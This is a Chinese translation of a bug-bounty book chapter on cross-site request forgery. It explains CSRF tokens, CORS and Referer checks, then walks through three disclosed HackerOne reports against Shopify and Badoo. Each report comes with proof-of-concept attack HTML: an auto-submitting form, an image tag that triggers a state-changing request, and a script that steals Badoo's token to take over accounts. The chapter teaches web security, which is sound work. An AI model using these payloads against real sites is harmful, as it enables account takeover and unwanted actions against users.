八、跨站請求僞造
作者：Peter Yaworski
譯者：
飛龍 協定： CC BY-NC-SA 4.0
描述
跨站請求僞造，或 CSRF 攻擊，在惡意網站、電子郵件、即使消息、應用以及其它，使使用者的 Web 浏覽器執行其它站點上的一些操作，并且使用者已經授權或登入了該站點時發生。這通常會在使用者不知道操作已經執行的情況下發生。
CSRF 攻擊的影響取決于收到操作的站點。這裡是一個例子：
- Bob 登入了它的銀行賬戶，執行了一些操作，但是沒有登出。
- Bob 檢查了它的郵箱，并點選了一個陌生站點的連結。
- 陌生站點向 Bob 銀行站點發送請求來進行轉賬，并傳遞第一步中，儲存 Bob 銀行會話的 Cookie 資訊。
- Bob 的銀行站點收到了來自陌生（惡意）站點的請求，沒有使用 CSRF Token 的情況下處理了轉賬。
更有意思的是這個想法，也就是惡意網站的連結可以包含有效的 HTML，
<imgsrc=”www.malicious_site.com”>
，并且并不需要 Bob 點選連結。如果 Bob 的裝置（例如浏覽器）渲染了這個圖檔，它會向
malicious_site.com
發送請求，來完成 CSRF 攻擊。
現在，知道了 CSRF 的危險之後，它們可以以多種方式防範。最流行的方式大概是 CSRF Token，它必須随着潛在的資料修改氣你去一起送出（例如 POST 請求）。這裡，Web 應用（例如 Bob 的銀行）會生成一個兩部分的 Token，一個 Bob 會收到，另一個由應用保管。
當 Bob 試圖送出轉賬請求時，它就需要送出 Token，銀行會驗證它這一邊的 Token。
現在，對于 CSRF 和 CSRF Token 來說，跨域資源共享似乎越來越普遍了。或者隻是我注意到是這樣。本質上，CORS 限制了資源，包括 JSON 響應，被外域通路。換句話說，當 CORS 用于保護站點時，你就不能編寫 JavaScript 來調用目标應用，讀取響應或者進行另一個調用，除非目标站點允許。
似乎這非常令人混亂，使用 JavaScript，嘗試調用
HackerOne.com/activity.json
，讀取響應并進行二次調用。你也會在下面的例子 #3 看到它的重要性，以及潛在的原理。
最後，重要的是要記住（感謝 Jobert Abma 補充），并不是每個不帶有 CSRF Token 的請求都帶有 CSRF 問題。一些站點可能執行額外的檢查，例如比較 Referer 協定頭（雖然可能出錯，并且有一些繞過它的案例）。它是一個字段，辨別了連結到被請求資源的頁面位址。換句話說，如果 POST 調用中的 Referer 并不來源于收到 HTTP 請求的相同站點，站點可能不允許該調用，是以能夠完成和驗證 CSRF Token 的相同操作。此外，不是每個站點在建立或者定義 Token 時都使用
csrf
術語。例如，在 Badoo 它使用
rt
參數，我們下面會讨論。
連結
檢視
OWASP 測試指南 。
示例
1. Shopify 導出已安裝的使用者
難度：低
URL：
https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users
報告連結：
https://hackerone.com/reports/96470
報告日期：2015.10.29
獎金：$500
描述：
Shopify 的 API 提供了一個終端，用于導出已安裝使用者的清單，通過上面給出的 URL。在站點能夠調用該終端，并且讀取資訊的地方存在漏洞，因為 Shopify 在該調用中并沒有包含任何 CSRF Token 驗證。是以，下面的 HTML 代碼可以用于代表任何未知受害者送出表單。
<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">
<form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
</form>
</body>
</html> 這裡，通過僅僅浏覽站點，JavaScript 就會送出表單，它實際上包含 Shopify API 的 GET 請求，使用受害者的浏覽器，并提供 Shopify 的 Cookie。
重要結論
擴充你的攻擊領域，并從站點轉向它的 API 終端。API 提供了極大的漏洞可能性，是以最好牢記他，尤其是當你知道 API 可能開發完畢，或者在站點實際開發之後可用的時候。
2. Shopify Twitter 斷開連接配接
https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
https://hackerone.com/reports/111216
報告日期：2016.1.17
Shopify 提供了 Twitter 的繼承，來允許店主轉推它們的商品。與之相似，也提供了功能來斷開推特賬戶和被連接配接商店的連結。
斷開 Twitter 賬戶的 URL 解除安裝了上面。當進行調用時，Shopify 不驗證 CSRf Token，這可能會允許惡意人員代表受害者進行 GET 調用，是以斷開受害者的商店與 Twitter 的連接配接。
在提供這份報告的時候，WeSecureApp 提供了下面的漏洞請求示例 - 要注意下面的
img
标簽的使用，它對漏洞 URL 進行調用：
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive 由于浏覽器進行 GET 請求來擷取給定 URL 處的圖檔，并且不驗證任何 CSRF Token ，使用者的商店現在已斷開連接配接：
<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
</body>
</html> 這種情況下，這個漏洞可以使用代理伺服器來發現，例如 Burp 或者 Firefox 的 Tamper Data，來觀察發送給 Shopify 的請求，并主要到這個請求使用 GET 方式來執行。由于這是個破壞性操作，而 GET 請求不應該修改任何伺服器上的資料，這應該是一些需要關注的事情。
3. Badoo 賬戶的完整控制
難度：中
https://badoo.com
https://hackerone.com/reports/127703
報告日期：2016.4.1
獎金：$852
如果你仔細檢查 Badoo ，你會發現，它們通過包含 URL 參數
rt
來防禦 CSRF，它隻有 5 個位數（至少在我寫這篇的時候）。雖然我在 Badoo 入駐 HackerOne 的時候就注意到了，我并沒有找到利用它的方式，但是
zombiehelp54
找到了。
發現
rt
參數以及其值之後，它也注意到了，參數一戶在所有 JSON 響應中都傳回。不幸的是，這并沒有什麼幫助，因為 CORS 保護了 Badoo，攻擊者無法讀取這些響應，是以它繼續挖掘。
最終，檔案
https://eu1.badoo.com/worker-scope/chrome-service-worker.js
包含了
rt
值。更好的是，這個檔案可以由攻擊者任意讀取，而不需要受害者做什麼，除了浏覽這個惡意頁面。這裡是它提供的代碼。
<html>
<head>
<title>Badoo account take over</title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
</head>
<body>
<script>
function getCSRFcode(str) {
return str.split('=')[2];
}
window.onload = function(){
var csrf_code = getCSRFcode(url_stats);
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script> 本質上，當受害者加載此頁面時，它會調用 Badoo 的腳本，為使用者擷取
rt
參數，之後代表受害者進行調用，這裡，它将受害者的賬戶連結到了攻擊者的，本上上完成了賬戶的控制。
無風不起浪。這裡，攻擊者注意到了rt
參數在不同位置傳回，特别是 JSON 響應，是以，它正确猜測了，它可能出現在一些可以利用的地方，這裡是 JS 檔案。
繼續幹吧，如果你覺得一些東西可能會發生，一定要繼續挖掘。當你通路目标站點或應用時，使用 Burp 檢查所有被調用的資源。
總結
CSRF 表示另一個攻擊向量，并且可能在受害者不知道，或者不主動執行操作的情況下發生。CSRF 漏洞的發現可能需要一些機智，同樣，也需要測試任何東西的渴望。
通常，如果站點執行 POST 請求，Web 表單都統一由應用架構保護，例如 Rails，但是 API 又是另外一個事情。例如， Shopify 使用了 RoR 編寫，它對所有表單預設提供了 CSRF 保護（當然也可以關掉）。但是，顯然意見，這對于使用架構建立的 API 不一定成立。最後，一定要觀察任何通過 GET 請求執行的，修改伺服器資料的調用（例如删除操作）。
![主流浏覽器四大綜合性能測試[圖]](data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=)